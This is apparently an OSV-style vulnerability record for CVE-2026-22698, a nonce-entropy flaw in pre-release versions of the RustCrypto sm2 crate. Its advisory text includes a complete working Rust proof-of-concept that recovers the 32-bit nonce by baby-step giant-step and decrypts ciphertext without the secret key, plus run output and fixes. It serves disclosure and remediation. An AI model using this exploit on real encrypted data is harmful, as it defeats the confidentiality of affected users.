{"id":"CVE-2026-22698","aliases":["GHSA-w3g8-fp6j-wvqw"],"url":"https://o3.security/vulnerability/CVE-2026-22698","summary":"RustCrypto SM2-PKE has 32-bit Biased Nonce Vulnerability","details":"### Summary\n\nA critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce `k` is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce `k` and decrypt any ciphertext **given only the public key and ciphertext**.\n\n\n\n### Affected Versions\n\n- sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)\n- sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)\n\nThis vulnerability is introduced in commit: [Commit 4781762](https://github.com/RustCrypto/elliptic-curves/commit/4781762f23ff22ab34763410f648128055c93731) on Sep 6, 2024, which is over a year ago.\n\n\n\n### Details\n\nThe root cause of this vulnerability is a unit mismatch in the `encrypt` function located in `sm2/src/pke/encrypting.rs`.\n\n1.  The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant `N_BYTES`.\n    ```rust\n    const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes)\n    ```\n2.  However, this `N_BYTES` value is then passed to the `next_k` helper function, which incorrectly interprets this value as a *bit length*.\n    ```rust\n    let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap();\n    ```\n3.  Inside `next_k`, the `bit_length` parameter (which holds the value 32) is passed directly to `U256::try_random_bits`, a function that generates a random number with the specified number of bits.\n    ```rust\n    fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R, bit_length: u32) -> Result<U256> {\n        let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?;\n        // ...\n    }\n    ```\n    As a result, the ephemeral nonce `k` is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.\n    \n    \n\n### PoC\n\nA proof-of-concept demonstrating the feasibility of this attack is provided in `examples/bsgs_recover.rs`. The PoC performs the following steps:\n\n1.  **Encrypt a Message**: It uses the vulnerable `EncryptingKey::encrypt` function to encrypt a sample message.\n2.  **Extract Ephemeral Public Key**: It parses the ciphertext to extract `C1`, which is the ephemeral public key `[k]G`.\n3.  **Recover Nonce `k`**: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce `k`. This attack is computationally feasible on modern hardware in seconds with time complexity `O(2^16)`.\n4.  **Decrypt without Secret Key**: Once `k` is recovered, it computes the shared secret `[k]PB` (where `PB` is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.\n\n`examples/bsgs_recover.rs`\n\n``` rust\n//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)\n//!\n//! This example intentionally demonstrates an attack on the vulnerable\n//! `EncryptingKey::encrypt` implementation which (in the current repository\n//! state) may generate k with only 32 bits of entropy. The example:\n//! - Generates a key pair and encrypts a short plaintext.\n//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).\n//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).\n//!\n\nuse std::collections::HashMap;\nuse std::error::Error;\n\nuse rand_core::OsRng;\n\nuse sm2::{\n    pke::Mode,\n    pke::EncryptingKey,\n    PublicKey,\n    SecretKey,\n    AffinePoint,\n    ProjectivePoint,\n    Scalar,\n};\nuse elliptic_curve::bigint::U256;\nuse elliptic_curve::{Group, Curve};\nuse elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};\nuse sm3::{Sm3, Digest};\n\n/// Baby-step giant-step over the 32-bit search space.\nfn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> {\n    // search parameters\n    let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space\n\n    // baby steps: j*G -> j\n    let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1);\n    for j in 0..m {\n        let j_u256 = U256::from_u32(j);\n        let s = Scalar::from_uint(&j_u256).unwrap();\n        let p = ProjectivePoint::mul_by_generator(&s).to_affine();\n        let ep = p.to_encoded_point(false);\n        baby.insert(ep.as_bytes().to_vec(), j);\n    }\n\n    // giant steps\n    for i in 0..=m {\n        let im = (i as u64) * (m as u64);\n        let im_u256 = U256::from_u64(im);\n        let im_scalar = Scalar::from_uint(&im_u256).unwrap();\n        let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine();\n\n        // candidate = C1 - im_point\n        let c1_proj = ProjectivePoint::from(c1);\n        let im_proj = ProjectivePoint::from(&im_point);\n        let candidate_proj = c1_proj + (-im_proj);\n        let candidate = candidate_proj.to_affine();\n        let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();\n\n        if let Some(&j) = baby.get(&cand_bytes) {\n            let k_recovered = im + (j as u64);\n            return Some(U256::from_u64(k_recovered));\n        }\n    }\n    None\n}\n\n/// KDF using SM3 (re-implementation of crate internal `kdf`).\nfn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) {\n    let mut hasher = Sm3::new();\n    let klen = c2.len();\n    let mut ct: u32 = 0x00000001;\n    let digest_size = 32usize; // SM3 output is 32 bytes\n    let mut ha = vec![0u8; digest_size];\n    let encode_point = kpb.to_encoded_point(false);\n\n    let mut offset = 0usize;\n    while offset < klen {\n        hasher.update(encode_point.x().unwrap());\n        hasher.update(encode_point.y().unwrap());\n        hasher.update(&ct.to_be_bytes());\n        let out = hasher.finalize_reset();\n        ha.copy_from_slice(out.as_slice());\n\n        let xor_len = core::cmp::min(digest_size, klen - offset);\n        for i in 0..xor_len {\n            c2[offset + i] ^= ha[i];\n        }\n        offset += xor_len;\n        ct = ct.wrapping_add(1);\n    }\n}\n\n/// Decrypt ciphertext given recovered k and recipient public key (without secret key).\nfn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {\n    // parse c1\n    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32\n    let c1_len = n_bytes * 2 + 1;\n    if ciphertext.len() < c1_len {\n        return Err(\"ciphertext too short\".into());\n    }\n    let (_c1_bytes, rest) = ciphertext.split_at(c1_len);\n\n    // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB\n    let pb_affine = pubkey.as_affine();\n    let k_scalar = Scalar::from_uint(&k).unwrap();\n    let s = *pb_affine; // cofactor h == 1\n    let hpb = (s * k_scalar).to_affine();\n\n    // split rest into c2 and c3 depending on mode\n    let digest_size = 32usize; // SM3 output size\n    let (c2_slice, c3_slice) = match mode {\n        Mode::C1C2C3 => {\n            let c2_len = rest.len() - digest_size;\n            rest.split_at(c2_len)\n        }\n        Mode::C1C3C2 => {\n            let (c3, c2) = rest.split_at(digest_size);\n            (c2, c3)\n        }\n    };\n\n    let mut c2 = c2_slice.to_owned();\n    // KDF to recover plaintext\n    kdf_sm3(hpb, &mut c2);\n\n    // verify c3\n    let mut check = Sm3::new();\n    let enc = hpb.to_encoded_point(false);\n    check.update(enc.x().unwrap());\n    check.update(&c2);\n    check.update(enc.y().unwrap());\n    let out = check.finalize_reset();\n    if out.as_slice() != c3_slice {\n        return Err(\"c3 verification failed\".into());\n    }\n\n    Ok(c2)\n}\n\n/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.\nfn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {\n    // extract C1\n    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32\n    let c1_len = n_bytes * 2 + 1;\n    let (c1_bytes, _rest) = ciphertext.split_at(c1_len);\n    let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;\n    let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap();\n\n    if let Some(k) = bsgs_recover_k(&c1_affine) {\n        println!(\"recovered k = 0x{:x}\", k);\n        let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;\n        return Ok(plain);\n    }\n    Err(\"failed to recover k\".into())\n}\n\nfn main() -> Result<(), Box<dyn Error>> {\n    // demo: generate keypair, encrypt, then recover and decrypt without secret key\n    let mut rng = OsRng;\n    let sk = SecretKey::try_from_rng(&mut rng)?;\n    let pk = sk.public_key();\n    let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);\n    let msg = b\"attack-demo-sm2-bsgs-recover-example\";\n    let ct = ek.encrypt(&mut rng, msg)?;\n    print!(\"Trying to recover k and decrypt...\\n\");\n    let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;\n    println!(\"recovered plaintext: {}\", std::str::from_utf8(&recovered)?);\n    Ok(())\n}\n\n```\n\nTo run the PoC (tested on Apple M3): \n\n```bash\n$ time cargo run --example bsgs_recover \nTrying to recover k and decrypt...\nrecovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79\nrecovered plaintext: attack-demo-sm2-bsgs-recover-example\ncargo run --example bsgs_recover  14.44s user 0.13s system 89% cpu 16.266 total\n```\n\n\n\n### Impact\n\nThis vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).\n\nThe severity is **Critical**, as it breaks the core security promise of the public key encryption scheme. All versions of the `sm2` crate with the vulnerable PKE implementation are affected. \n\n- Fix 1: Modify the input parameter to the correct 256 bits\n\n  ``` rust\n  let k_uint = next_k(rng, N_BYTES * 8)?;\n  ```\n\n- Fix 2: We believe that the `next_k` function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.\n\n  ``` rust\n  fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> {\n      loop {\n          let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;\n          if !bool::from(k.is_zero()) && k < *Sm2::ORDER {\n              return Ok(k);\n          }\n      }\n  }\n  ```\n\n  \n\n### Credit\n\nThis vulnerability was discovered by:\n\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nCVE and credit are preferred.\n\nIf developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at  xlabai@tencent.com.\n\n\n\n### Note\n\nSM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.","published":"2026-01-10T05:17:19.993Z","modified":"2026-08-12T03:51:13.841162179Z","cvss":null,"epss":{"score":0.00268,"percentile":0.19109,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"crates.io","name":"sm2","fixedVersion":null}],"fix":{"url":"https://github.com/RustCrypto/elliptic-curves/commit/4781762f23ff22ab34763410f648128055c93731","label":"RustCrypto/elliptic-curves@4781762"},"references":[{"type":"WEB","url":"https://crates.io/crates/sm2/0.14.0-pre.0"},{"type":"WEB","url":"https://crates.io/crates/sm2/0.14.0-rc.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/22xxx/CVE-2026-22698.json"},{"type":"ADVISORY","url":"https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-w3g8-fp6j-wvqw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22698"},{"type":"FIX","url":"https://github.com/RustCrypto/elliptic-curves/commit/4781762f23ff22ab34763410f648128055c93731"},{"type":"FIX","url":"https://github.com/RustCrypto/elliptic-curves/commit/e4f77788130d065d760e57fb109370827110a525"},{"type":"FIX","url":"https://github.com/RustCrypto/elliptic-curves/pull/1600"},{"type":"PACKAGE","url":"https://github.com/RustCrypto/elliptic-curves"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:13.841162179Z"}}